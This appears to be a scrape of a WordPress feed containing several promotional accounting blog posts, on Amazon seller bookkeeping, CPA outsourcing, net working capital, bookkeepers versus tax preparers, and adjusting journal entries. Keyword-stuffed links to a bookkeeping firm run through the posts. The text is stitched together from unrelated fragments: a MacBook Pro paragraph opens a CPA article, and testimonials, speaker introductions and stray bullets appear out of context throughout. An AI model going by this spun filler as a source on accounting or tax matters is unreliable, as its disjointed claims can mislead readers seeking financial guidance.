<p>Steve and his team have been nothing but professional, helpful, and on point when it came to us starting off our new business venture. We have 2 companies, with sales taking place over in the US, and then running things from the UK where we pay ourselves. I  cant recommend them highly enough, as Steve explain’s things clearly to us we feel happy to let them work for us and help us <a href="https://www.bookstime.com/articles/accounting-for-amazon-sellers-amazon-bookkeeping">amazon seller accountant</a> grow.</p>
<h2>Why COGS Matters</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2019/12/Screenshot_4-4.png" width="258px" alt="amazon seller accountant"/></p>
<p>We use QuickBooks Online and integrate with industry leading apps to bring in the most accurate and current data from all <a href="https://www.bookstime.com/">https://www.bookstime.com/</a> your sales channels. In this guide, we’ll walk you through everything you need to know—from tracking sales and expenses to understanding settlement reports and when to bring in an expert. If you’re struggling to pick the right solution for you, we highly recommend consulting with an expert ecommerce accountant or bookkeeper. They’re well versed in every solution, and can evaluate your needs to help you make the right decision for your business.</p>
<p>We work exclusively with e-commerce Sellers to deliver accounting and tax solutions tailored to suit your unique industry and business. By entrusting your finances to a skilled accountant, you can  focus on growing your e-commerce business without worrying about financial complexities. Furthermore, these accountants are well-versed in tax deductions and credits that can help you save money on your taxes.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/01/d24eff41-329d-4d63-8aa5-3954dd4d28e8-700x335.png" width="250px" alt="amazon seller accountant"/></p>
<h2>Your Ecommerce CPA Partner for Stress-Free Growth</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/04/cde36492-61f6-442b-b4ff-eaef8d5f753e.jpg" width="259px" alt="amazon seller accountant"/></p>
<p>This includes tracking sales, fees, refunds, and inventory costs. The best accounting software is easy to use, runs reports in a snap, helps with ecommerce inventory management, and keeps you from making mistakes. When you’re doing ecommerce accounting, you’ll likely want to look for a double-entry accounting system. As we spoke about profitability and healthy businesses, we do know that unfortunately 32% of ecommerce businesses fail because they run out of cash. We also know that 29% fail because of cost and pricing imbalances. That&#8217;s a really big one for ecommerce and we&#8217;re going to cover some of the ways that you can check and keep track of your cost accounting later on in this webinar.</p>
<h2>Support</h2>
<ul>
<li>Automated accounting solutions can simplify the process of filing your taxes.</li>
<li>It’s not great for businesses that carry inventory, either.</li>
<li>In one case, daily reconciliation work dropped from three to four hours to under an hour, saving more than 70 hours each month as settlements and fees no longer needed manual breakdown.</li>
<li>We regularly bring messy, outdated or inaccurate books up to the most recent prior month so you know exactly where you stand.</li>
<li>In month two, on the cash side, there is no inventory bought so the business looks crazy profitable.</li>
</ul>
<p>Regularly review your financial reports to <a href="https://www.dreamlawn.com/free-employer-payroll-calculator-and-2026-tax/">https://www.dreamlawn.com/free-employer-payroll-calculator-and-2026-tax/</a> monitor cash flow and make informed decisions. With the help of a professional bookkeeper, you can streamline your bookkeeping process and ensure that your business is running at its best. Manual bookkeeping leads to errors, missed fees, inventory mismatches, cash flow issues, and time-consuming reconciliation as transaction volumes increase. You can further ensure accuracy with inventory management. The right automation solution uses an automatic multichannel inventory sync that updates on a customizable schedule. As a result, you can instantly track and sync orders, inventory quantities, and prices across stores.</p>
<ul>
<li>This real-time financial clarity means you’re not scrambling to gather tax information at the last minute.</li>
<li>You will also have the data available to back up requests to suppliers for preferential pricing or terms on future purchases.</li>
<li>In both cases, the gains came from removing timing and structure fixes during close, not from speeding up review.</li>
<li>Instead of frantically trying to play catch-up on your bookkeeping before the looming tax deadline or not having enough money set aside to pay the bill.</li>
<li>I&#8217;m Danielle Hammac – I&#8217;m an account manager at Aprio Advisory Group where I lead the managed services ecommerce technology pod.</li>
<li>You turn that data into financial statements, tax returns, and business insights.</li>
</ul>
<div style='text-align:center'><iframe width='567' height='312' src='https://www.youtube.com/embed/eo9UAI9w2Mo' frameborder='0' alt='amazon seller accountant' allowfullscreen></iframe></div>
<p>Cloud accounting software, like Xero, is great at automatically syncing all of your bank transactions to your feed. However, occasionally one of your bank feeds might have an outage or some transactions go unaccounted for. You can run a reconciliation report to see if there are any inconsistencies between bank and credit card statements and what is showing up in Xero. In particular, two tools that are critical for FBA sellers looking to scale their brand are inventory planning and cash flow forecasting.</p>
<h2>Features of Accounting Software for Amazon Sellers</h2>
<p>A product can be taxed at a lower rate or not at all, depending on where it’s bought. In states with no sales tax, consumers can purchase products without paying sales taxes. Meanwhile, some states tax items at a lower rate depending on their category. Food items, clothes, and other essentials are often taxed at a lower rate than other goods.</p>
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		<title>Certified Public Accountants Philly &#038; Collegeville, PA</title>
		<link>https://psp-wp-test.objectsdev.com/certified-public-accountants-philly-collegeville/</link>
					<comments>https://psp-wp-test.objectsdev.com/certified-public-accountants-philly-collegeville/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Thu, 29 Jul 2021 07:14:04 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=1604</guid>

					<description><![CDATA[The MacBook Pro is equipped with an ultra-efficient M2 pro chip, that has up to 18 hours of battery life. This is Bakery Accounting the best-selling laptop that delivers exceptional performance whether it’s plugged in or running on battery. AICPA’s 2023 Trends Report found that 91% of accounting firms expect to hire new accounting graduates [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/09/291-2911947_petty-cash-cash-management-logo-png-min-300x300.jpg" width="255px" alt="bookkeeping for cpas"/></p>
<p>The MacBook Pro is equipped with an ultra-efficient M2 pro chip, that has up to 18 hours of battery life. This is <a href="https://x.com/BooksTimeInc/status/1910375736579633549">Bakery Accounting</a> the best-selling laptop that delivers exceptional performance whether it’s plugged in or running on battery. AICPA’s 2023 Trends Report found that 91% of accounting firms expect to hire new accounting graduates at continued or higher rates in the next year, and 60% expect their employment of CPAs to remain steady or grow. AICPA also reported a decline in accounting majors, contributing to an overall  shortage in accountants. While the BLS doesn’t specifically single out CPAs, it does provide data for the broader category of accountants and auditors, which includes CPAs. Employment for accountants and auditors is expected to increase by 4% from 2022 to 2032, which is about average when compared to other occupations.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/08/3.jpg" width="255px" alt="bookkeeping for cpas"/></p>
<h2>Provide Efficient Accounting</h2>
<div style='text-align:center'><iframe width='561' height='311' src='https://www.youtube.com/embed/1IC_kl16yQY' frameborder='0' alt='bookkeeping for cpas' allowfullscreen></iframe></div>
<p>Most states require aspiring CPAs to complete a certain number of credits in accounting coursework. You should plan to complete at least 24 credits in accounting,  finance, tax law and other related subjects, but some states require 50 credits or more. Every tax return holds valuable insights that can help you optimize your client roster. This busy season, learn how to extract meaningful data from your experiences and use it to drive strategic growth for your firm. The Forbes Advisor Small Business team is committed to providing unbiased rankings and information with full editorial independence. We use product data, strategic methodologies and expert insights to inform all of our content to guide you in making the best decisions for your business journey.</p>
<h2>Why Do CPA Firms Need Specialized Bookkeeping?</h2>
<p>With evolving customer expectations, changing regulatory requirements, and the huge advent of technology, the accounting space is no longer rooted in legacy systems and traditional operational models. As the burden of the changing landscape grows, we will see CPA firms in the USA and around the world looking for means to grow their operations and expand their service portfolios. I’m an entrepreneurial CPA that founded Xen Accounting, a100% cloud-based accounting firm, in 2013. Following its acquisition in 2018,I started Future Firm to help accountants fast-track the growth of a modern, scalable accounting firm of their own. While outsourcing bookkeeping has numerous advantages, you need to choose a reputable and trustworthy outsourcing partner.</p>
<h2>House passes budget reconciliation bill with changes to tax provisions</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2019/08/software-3.png" width="254px" alt="bookkeeping for cpas"/></p>
<p>Additionally, AICPA and NASBA have proposed a competency-based pathway to help students complete the additional credits without more education. Shannon is the Content Marketing Specialist with the Becker team at Colibri Group. Her copy and content writing experience prior to this role includes education, non-profit, technology, building products, and other industries. She enjoys synthesizing concepts into a digestible, informative, and valuable resource for her audiences, and feels fortunate to work in a position that fosters extensive reading and intellectual growth. Shannon holds a bachelor’s degree from Penn State University Schreyer Honors College and a Master’s in Comparative Literature, also from Penn State. Whether you’re an individual accountant or CPA firm looking to enhance workflow, it’s important to understand both what you need from your accounting software and what you’ll do with it.</p>
<ul>
<li>If you’re looking to take your accounting career to the next level, a CPA designation may be what you need.</li>
<li>CPAs can focus on core competencies like tax planning and strategic consulting, leaving the data entry and record-keeping to specialists.</li>
<li>At CPAdirectory, we think it&#8217;s a good thing to provide our members with access to&#8230;</li>
<li>Having an idea of which services your firm can, and will, provide will help you determine whether outsource bookkeeping makes sense for your firm.</li>
</ul>
<h2>Measure Performance</h2>
<ul>
<li>Seamless bookkeeping and analysis for companies, creatives, and self-employed service providers.</li>
<li>Additionally, in bookkeeping, having a consistent team member responsible for managing a client’s books can be more efficient as the bookkeeper learns each client’s quirks.</li>
<li>Generally, requirements include at least 2,000 hours of professional experience.</li>
<li>We’ve analyzed and rated the best online bookkeeping services to help you make the best decision when choosing the right one.</li>
<li>Search the world&#8217;s largest online directory of licensed and verified certified public accountants to find the tax professional that best fits your needs.</li>
<li>Now let’s explore the top 5 choices in outsourced bookkeeping for CPAs, focusing on those available through bookkeeping outsourcing services in the USA.</li>
</ul>
<p>Ask for testimonials from people who have utilized your services in the past and spread the word about your offerings through a website or social media. Start by deciding on the system you want to use, whether it’s an online program, paid <a href="https://en.wikipedia.org/wiki/Certified_Public_Accountant">Certified Public Accountant</a> software or a spreadsheet. Next, set aside a dedicated time either weekly or biweekly to review your bookkeeping, reconcile transactions and complete necessary data entry. You can either keep hard copies or opt for electronic files by scanning paperwork. Outsourcing offers small businesses the ability to expand their accounting requirements as they do their work without having to employ more people.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2019/11/Screenshot_4.png" width="255px" alt="bookkeeping for cpas"/></p>
<p>Every state has its own licensing guidelines in regards to professional experience, but they typically require 1-2 years worth of full-time experience within a three- to five-year period of time. Advantages which may be looked at include, overhead cost is reduced, skilled persons, no need to hire more employees if the services are needed more and so on. A business involves a lot of <a href="https://www.bookstime.com/accountants">bookkeeping for cpas</a> activities like production, a sales campaign, marketing efforts, cost-cutting related activities and several other business-related activities. Therefore, the businesses need to get the proper idea related to the cost incurred in it.</p>
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		<title>Working Capital Formula + Calculator</title>
		<link>https://psp-wp-test.objectsdev.com/working-capital-formula-calculator/</link>
					<comments>https://psp-wp-test.objectsdev.com/working-capital-formula-calculator/#respond</comments>
		
		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Tue, 19 Jan 2021 10:09:14 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=2121</guid>

					<description><![CDATA[The rationale for subtracting the current period NWC from the prior period NWC, instead of the other way around, is to understand the impact on free cash flow (FCF) in the given period. Aside from gauging a company’s liquidity, the NWC metric can also provide insights into the efficiency at which operations are managed, such [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/04/Frame-3.png" width="251px" alt="change in net working capital calculator"/></p>
<p>The rationale for subtracting the current period NWC from the prior period NWC, instead of the other way around, is to understand the impact on free cash flow (FCF) in the given period. Aside from gauging a company’s liquidity, the NWC metric can also provide insights into the efficiency at which operations are managed, such as ensuring short-term liabilities are kept to a reasonable level. HighRadius offers a cloud-based Treasury and Risk software <a href="https://www.pinterest.com/pin/1129770256527940223/">Accounting for Technology Companies</a> that streamlines and automates treasury operations, including cash forecasting,  cash management, and treasury payments. We have empowered the world’s leading companies, like Danone, HNTB, Harris, and Konica Minolta, to optimize their cash forecasting accuracy, make decisions faster with real-time bank data, and reduce bank fees. Ultimately, changes in net working capital impact a company’s cash flow and financial health, highlighting the importance of monitoring these fluctuations for effective financial management.</p>
<h2>How to Find Change in NWC on Cash Flow Statement (CFS)</h2>
<p>Credit policy adjustments often lead to changes in how quickly cash comes in. A tighter, stricter policy reduces accounts receivable and, in turn, frees up cash. That comes at a potential cost of lower net sales since buyers may shy away from a firm that has highly strict credit policies. •&nbsp;&nbsp;Changes impact a company’s need for external financing for operations or expansion. In conclusion, our hypothetical company’s incremental net working capital (NWC) rate implies that approximately 20% of its net revenue is tied up in its operations per dollar of incremental revenue.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/03/77c8f396-6992-4fac-b238-ac036158c3c8.jpg" width="257px" alt="change in net working capital calculator"/></p>
<h2>How to Improve Working Capital Management</h2>
<ul>
<li>Buffett’s brief mention of working capital in his letter when he first brought up the idea of owner earnings honestly made things even more confusing.</li>
<li>The last three years looks much better, however, with current liabilities increasing faster than current assets.</li>
<li>Changes in working capital are reflected in a firm’s cash flow statement.</li>
<li>The Incremental Net Working Capital (NWC) measures the percent change in a company’s operating current assets and current liabilities relative to its change in revenue.</li>
<li>Angela loves creating content that helps readers better understand their financing options and helps them make informed decisions about factoring.</li>
<li>To help you better understand what your net working capital and working capital ratio are, we have put together an easy-to-use calculator!</li>
</ul>
<p>The balance sheet organizes assets and liabilities in order of liquidity (i.e. current vs long-term), making it easy to identify and calculate working capital (current assets less current liabilities). To calculate change in working capital, you first subtract the company’s current liabilities from the company’s current assets to get current working capital. You then take last year’s working capital number and subtract it from this year’s working capital to get change in working <a href="https://www.bookstime.com/articles/change-in-net-working-capital">net working capital</a> capital. If the change in working capital is negative, it means that the change in the current operating liabilities has increased more than the current operating assets. Working capital is also important if you are trying to woo an investor or get approved for a small business loan. Lenders and investors will often look at both working capital and changes in working capital to assess a company’s financial health.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/04/what-is-expense-management-1-scaled-1-400x300.jpg" width="257px" alt="change in net working capital calculator"/></p>
<h2>Business Calculators</h2>
<p>Since companies often purchase inventory on credit, a related concept is the working capital cycle—often referred to as the “net operating cycle” or “cash <a href="https://en.wikipedia.org/wiki/Normal_balance">normal balance</a> conversion cycle”—which factors in credit purchases. Conceptually, the operating cycle is the number of days that it takes between when a company initially puts up cash to get (or make) stuff and getting the cash back out after you sell the stuff. For example, if it takes an appliance retailer 35 days on average to sell inventory and another 28 days on average to collect the cash post-sale, the operating cycle is 63 days. The benefit of neglecting inventory and other non-current assets is that liquidating inventory may not be simple or desirable, so the quick ratio ignores those as a source of short-term liquidity. The quick ratio—or “acid test ratio”—is a closely related metric that isolates only the most liquid assets, such as cash and receivables, to gauge liquidity risk. Generally speaking, the working capital metric is a form of comparative analysis where a company’s resources with positive economic value are compared to its short-term obligations.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2021/08/21bfa2ae-c8d6-48a3-91d1-bd62fee6d429-400x300.jpg" width="256px" alt="change in net working capital calculator"/></p>
<h2>Net Working Capital and Working Capital Ratio Calculator</h2>
<div style='text-align:center'><iframe width='564' height='315' src='https://www.youtube.com/embed/70X7-_oXQhU' frameborder='0' alt='change in net working capital calculator' allowfullscreen></iframe></div>
<p>In other words, there are 63 days between when cash was invested in the process and when cash was returned to the company. Therefore, the working capital peg is set based on  the implied cash on hand required to run a business post-closing and projected as a percentage of revenue (or the sum of a fixed amount of cash). We understand that managing working capital, especially during periods of growth or seasonal peaks, can be challenging. Technically, it’s calculated as your Current Assets minus your Current Liabilities (see the working capital formula for details).</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/03/pic-3.png" width="250px" alt="change in net working capital calculator"/></p>
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		<title>Bookkeeping Functions: The Difference Between a Bookkeeper and Tax Accountant?</title>
		<link>https://psp-wp-test.objectsdev.com/bookkeeping-functions-the-difference-between-a/</link>
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		<dc:creator><![CDATA[olaadmin]]></dc:creator>
		<pubDate>Fri, 08 Jan 2021 11:47:00 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=1146</guid>

					<description><![CDATA[But while they organize&#160;your finances, they usually don’t provide tax strategy or financial forecasting—that’s where accountants step in. They look at your business’s overall financial health, make sure your records are accurate, and help you understand where your money is going. Let’s be real—when you start a business, dealing with the financial side can feel [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2022/03/971e2559-b512-49ae-bd76-1992450305f3-1-400x300.jpeg" width="250px" alt="bookkeeper vs tax preparer"/></p>
<p>But while they organize&nbsp;your finances, they usually don’t provide tax strategy or financial forecasting—that’s where accountants step in. They look at your business’s overall financial health, make sure your records are accurate, and help you understand where your money is going. Let’s be real—when you start a business, dealing with the financial side can feel overwhelming.</p>
<h2>Want to keep more money in your pocket?</h2>
<p>A tax preparer is responsible for preparing and processing the <a href="https://www.bing.com/search?q=accounting">accounting</a> tax obligations of an organization. A tax preparer must have excellent knowledge of the tax processes and timely updated with the recent changes and updates within the financial industry. Tax preparers should have impeccable analytical and critical thinking skills to manage account statements for business and individual clients.</p>
<div style='text-align:center'><iframe width='561' height='310' src='https://www.youtube.com/embed/m9tzlKKUm0U' frameborder='0' alt='bookkeeper vs tax preparer' allowfullscreen></iframe></div>
<h2>What is Bookkeeping? Understanding the Basics for Your Boutique</h2>
<p>This knowledge allows them to identify current and future opportunities to reduce a taxpayer’s tax burden, which is the primary reason that business owners and executives choose to utilize their services. Furthermore, CPAs are better adept at handling special circumstances and complicated tax returns, which is a relief for many taxpayers. They are fluent in the special tax rules surrounding startups, various revenue recognition methodologies, and asset acquisitions, which makes them a key resource for business owners. About 56 percent of taxpayers use tax professionals to prepare their returns. Selecting the right tax professional is critically important because taxpayers are ultimately responsible for what they submit on their tax return.</p>
<h2>Bookkeeper vs Tax Preparer What&#8217;s the Difference?</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2019/12/shutterstock_413855248-300x200.jpg" width="256px" alt="bookkeeper vs tax preparer"/></p>
<p>In addition to providing these fundamental services, a tax preparer can represent a taxpayer with the IRS. Nonetheless, a tax preparer&#8217;s level of ability depends on their credentials and whether or not they are granted representation rights. First you must understand that not every CPA is a tax preparer, not every tax preparer is a CPA, and not every bookkeeper does taxes. Each one serves a valuable function and can be useful in your business depending on your needs.</p>
<ul>
<li>Their employees may be CPAs or enrolled agents, but they can also be more generalized tax specialists.</li>
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f48c.png" alt="💌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> knowing the cost of your expenses, broken down into categories such as advertising, subscriptions, contractors, etc.</li>
<li>Once you start to do that, the next mindset shift is strategizing to turn something that normally wouldn’t be a business expense into a legitimate business expense.</li>
<li>Many don’t only do data entry with taxes, but we can review and advise, and find potential deductions and revenue deferment, for example.</li>
<li>Tax preparers should have impeccable analytical and critical thinking skills to manage account statements for business and individual clients.</li>
<li>Bookkeeper, CFO or Controller, and some sort of tax professional will be your key players for a small business as many bookkeepers or CFOs will also oversee payroll.</li>
</ul>
<h2>Bookkeeper vs Accountant vs Tax Preparer—What’s the Difference?</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/11/shutterstock_2589819-1-400x300.jpg" width="257px" alt="bookkeeper vs tax preparer"/></p>
<p>Whether you are an individual or an organization, Tax Preparation is something you must be very familiar with. Tax preparation is the process of preparing tax returns, mostly <a href="https://www.facebook.com/BooksTimeInc/posts/pfbid0Dx2GbJT5KCF3XMFUJF3HNmppUBmmAnTWPvf4K8ox5g9sVxR6ssBXPgL23VBZdukKl">Bookkeeping for Painters</a> income tax returns, either for an organization or a person. Tax preparation for an individual is done  mainly by the tax  payer using government-authorized tax preparation software or services.</p>
<ul>
<li>CPAs must maintain high ethical standards, which, combined with their experience, reduces the likelihood of being audited.</li>
<li>Each one serves a valuable function and can be useful in your business depending on your needs.</li>
<li>There are two similar jobs &#8212; Tax Accountant vs Tax Preparer &#8212; and the pay ranges couldn&#8217;t be more different.</li>
<li>Thus, let&#8217;s quickly go over the differences between a bookkeeper and a tax preparer.</li>
<li>They are the backbone of financial organization for businesses and individuals alike, ensuring compliance with laws, proper recordkeeping, and overall financial health.</li>
</ul>
<p>This existing relationship and their knowledge of the finances of your specific business makes them valuable personnel. However, a bookkeeper’s financial experience does not necessarily translate to tax acumen. Tax preparers typically cost less to work with than a CPA, since they largely only offer tax preparation services. While there is a certain amount of overlap between the expertise of the three types of financial professionals, there are numerous differences, and each financial professional may be uniquely appropriate for a particular task. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f539.png" alt="🔹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> We specialize in service-based businesses&nbsp;– We exclusively serve professional service providers and intentionally limit the number of clients we take on. This allows us to be fully invested in each business, providing tailored, high-touch financial support that goes beyond the numbers.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2020/09/reasons-why-paperless-invoicing-will-change-business-min-300x210.jpg" width="255px" alt="bookkeeper vs tax preparer"/></p>
<p>This guarantees accurate financial accounts, compliance tax filings, and well-organised records. An outsourced part-time bookkeeper can be really helpful for your business. You can take care of some simple things on your own, such as billing clients and collecting receipts. Since it takes so long to become certified, CPAs tend to stay in the business for the duration of their careers, which <a href="https://www.bookstime.com/articles/tax-preparer-vs-cpa">bookkeeper vs tax preparer</a> provides long-term stability for executives and business owners. The result is a trusted partnership-approach to financing current needs and future goals throughout the lifecycle of your business or career.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.bookstime.com/wp-content/uploads/2019/12/shutterstock_1242116074-min-300x169.jpg" width="250px" alt="bookkeeper vs tax preparer"/></p>
<h2>Can Accountants Also Be Tax Preparers?</h2>
<p>An in-house accountant has more advanced schooling than a typical bookkeeper. Known as an “unenrolled preparer,” accountants can prepare your taxes, but they cannot represent you before the IRS. This is a crucial distinction when it comes time to file because, in the event of a tax audit, your accountant cannot handle the proceedings on your behalf. Unlike a CPA or enrolled agent that specifically has extensive tax preparation education and experience, a bookkeeper typically only has tax knowledge from filing their own personal returns. Similar to a CPA, an enrolled agent is also a certified tax professional.</p>
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		<title>What Are Adjusting Journal Entries?</title>
		<link>https://psp-wp-test.objectsdev.com/what-are-adjusting-journal-entries/</link>
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		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Fri, 02 Oct 2020 08:12:01 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=1265</guid>

					<description><![CDATA[Adjusting entries in accounting are important because they make sure your financial records show the right earnings and expenses for your business. They’re made at the end of each accounting period to make sure all the money you made and spent during that time is properly accounted for. For example, going back to the example [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Adjusting entries in accounting are important because they make sure your financial records show the right earnings and expenses for your business. They’re made at the end of each accounting period to make sure all the money you made and spent during that time is properly accounted for. For example, going back to the example above, say your customer called after getting the bill and asked for a 5% discount. If you granted the discount, you could post an adjusting journal entry to reduce accounts receivable and revenue by $250 (5% of $5,000). Estimates are another type of adjusting entry, often used to account for items like depreciation and bad debts.</p>
<ul>
<li>For example, the bill for the insurance on the company’s vehicles might be $6,000 and covers the six-month period of January 1 through June 30.</li>
<li>Usually, adjusting entries need to be recorded in an income statement account and one balance sheet account to ensure that both sheets are accurate.</li>
<li>Their main purpose is to match incomes and expenses to appropriate accounting periods.</li>
<li>A sorting of a company’s accounts receivables by the age of the receivables.</li>
</ul>
<h2>Prepaid expenses</h2>
<p>Some business transactions affect the revenues and expenses of more than one accounting period. For example, a service providing company may receive service fees from its clients for more than one period, or it may pay some of its expenses for many periods in advance. All revenues received or all expenses paid in advance cannot be reported on the income statement for the current accounting period. They must be assigned to the relevant accounting periods and reported on the relevant income statements. Accruals are a fundamental aspect of adjusting entries in accounting, particularly during year-end procedures. These entries ensure that revenues and expenses are recorded in the period they are earned or incurred, regardless of when the cash transactions actually occur.</p>
<h2>( . Adjusting entries for accruing unpaid expenses:</h2>
<p>Equipment will be depreciated over its useful life by debiting the income statement account Depreciation Expense and crediting the balance sheet account Accumulated Depreciation (a contra asset account). One of the main financial statements (along with the statement of comprehensive income, balance sheet, statement of cash flows, and statement of stockholders’ equity). The income statement is also referred to as the profit and loss statement, P&amp;L, statement of income, and the statement of operations. The income statement reports the revenues, gains, expenses, losses, net income and other totals for the period of time shown in the heading of the statement.</p>
<h2>Balance Sheet</h2>
<p>Second, to be accurate in our financial statements, the balance owed to the bank on December 31 includes not only the balance on the loan but also the unpaid interest. If we contact Ginormic National Bank to payoff the loan on December 31, we would need to pay the principal owed plus the $670 of interest. The interest is considered a separate payable and should not be added to the note payable. First, you have to keep your finger on the pulse with regular checks on your accounting entries. You might see inconsistencies between your bank statements and your records, an imbalance in your trial balance, or odd-looking figures in your financial reports. It might seem more straightforward to just record everything when cash enters or leaves your bank account.</p>
<h2>FAQ: Understanding Adjusting Entries in Accounting</h2>
<p>As a result the company will incur the utility expense before it receives a bill and before the accounting period ends. Additionally, periodic reporting and the matching principle necessitate the preparation of adjusting entries. Account adjustments are entries made in the general journal at the end of an accounting period to bring account balances up-to-date. Adjusting entries are crucial in accounting, particularly during year-end procedures, to ensure that financial statements reflect the true financial position of a business.</p>
<p>After preparing all necessary adjusting entries, they are either posted to the relevant ledger accounts or directly added to the unadjusted trial balance to convert it into an&nbsp;adjusted trial balance. Click on the next link below to understand how an adjusted trial balance is prepared. Adjusting entries are usually made at the end of an accounting period. They can, however, be made at the end of a quarter, a month, or even at the end of a day, depending on the accounting procedures and the nature of business carried on by the company.</p>
<p>For example, I have heard it said many time that when you purchase a new car, it depreciates or loses 20% of its value when you drive off the lot. Depreciation represents the using up of an asset to generate revenue. Next, check out our articles on understanding prepaid expenses, understanding owner’s equity and modified cash basis accounting. In this article, we’ll explore the various types of adjusting entries – accruals, deferrals, estimates, and corrections.</p>
<ul>
<li>Click on the next link below to understand how an adjusted trial balance is prepared.</li>
<li>Service Revenues is an operating revenue account and will appear at the beginning of the company’s income statement.</li>
<li>These entries help in recognizing revenues earned and expenses incurred, irrespective of when the actual cash transactions occur.</li>
<li>The entries for these estimates are also adjusting entries, i.e., impairment of non-current assets, depreciation expense and allowance for doubtful accounts.</li>
<li>One copy is sent to the vendor (supplier) of the goods, and one copy is sent to the accounts payable department to be later compared to the receiving ticket and invoice from the vendor.</li>
</ul>
<h2>Step 4: Make Adjusting Journal Entries</h2>
<p>If a company’s stock is publicly traded, earnings per share must appear on the face of the income statement. The matching principle states expenses must be matched with the revenue generated during the period. The purpose of adjusting entries is to ensure that all revenue and expenses from the period are recorded. Many adjusting entries deal with balances from the balance sheet, typically assets and liabilities, that must be adjusted. In addition to ensuring that all revenue and expenses are recorded, we are also making sure that all asset and liability accounts have the proper balances. There are various types of accounting adjusting entries examples in accounting a few of which are given below.</p>
<div style='text-align:center'><iframe width='563' height='314' src='https://www.youtube.com/embed/mrJdVh5MmKI' frameborder='0' alt='adjusting entries are dated' allowfullscreen></iframe></div>
<p>Depreciation and bad debts are two common examples of estimates in business accounting. If you own an asset–say a delivery van for your business–that asset loses value over time, which is something you need to factor into your numbers. For example, say you hire a freelance designer to help make your storefront more appealing and they invoice you for their work on July 30. Even though you might not pay them until August, for the purpose of your July financial statements, that is an accrued expense. The other deferral in accounting is the deferred revenue, which is an adjusting entry that converts liabilities to revenue.</p>
<p>The adjusting entry will debit Interest Expense and credit Interest Payable for the amount of interest from December 1 to December 31. An adjusting journal entry is an entry in a company’s general ledger that occurs at the end of an accounting period to record any unrecognized income or expenses for the period. SinceGAAPand the accrual basis of accounting requires that revenues and expenses be matched in the periods in which they occur, accrual journal entries are recorded at the end of each period.</p>
<p>For example, the contra asset account Allowance for Doubtful Accounts is related to Accounts Receivable. The contra asset account Accumulated Depreciation is related to a constructed asset(s), and the contra asset account Accumulated Depletion is related to natural resources. The contra asset account which accumulates the amount of Depreciation Expense taken on Equipment since the equipment was acquired.</p>
<p>In order to get the balance from $4,000 credit to $1,500 credit, we need to debit unearned revenue $2,500. The company had an unadjusted balance in unearned revenue of $4,000. Many small business owners use the straight-line method for simplicity. Divide the cost of the asset, minus its salvage value, by the number of years you expect to use it. That’s your depreciation expense which you should record each year.</p>
<p>This is especially important during year-end procedures when finalizing the books for the fiscal year. Adjusting entries are crucial for ensuring the accuracy of financial statements. They help in aligning the recorded revenues and expenses with the actual financial activity of the period. By making these adjustments, companies can provide a true picture of their financial health, which is essential for stakeholders’ decision-making. Then the expense can be recorded as usual by debiting expense and crediting cash when the expense is paid in January.</p>
<p>Common challenges include identifying all necessary adjustments, ensuring accuracy in estimates, and maintaining compliance with accounting standards. Inventory adjustments are entries made to account for changes in inventory levels, such as inventory shrinkage and obsolete inventory. Properly handling deferrals is essential for maintaining accurate and compliant financial records, which is vital for stakeholders’ decision-making processes. For example, depreciation expense for PP&amp;E is estimated based on depreciation schedules with assumptions on useful life and residual value.</p>
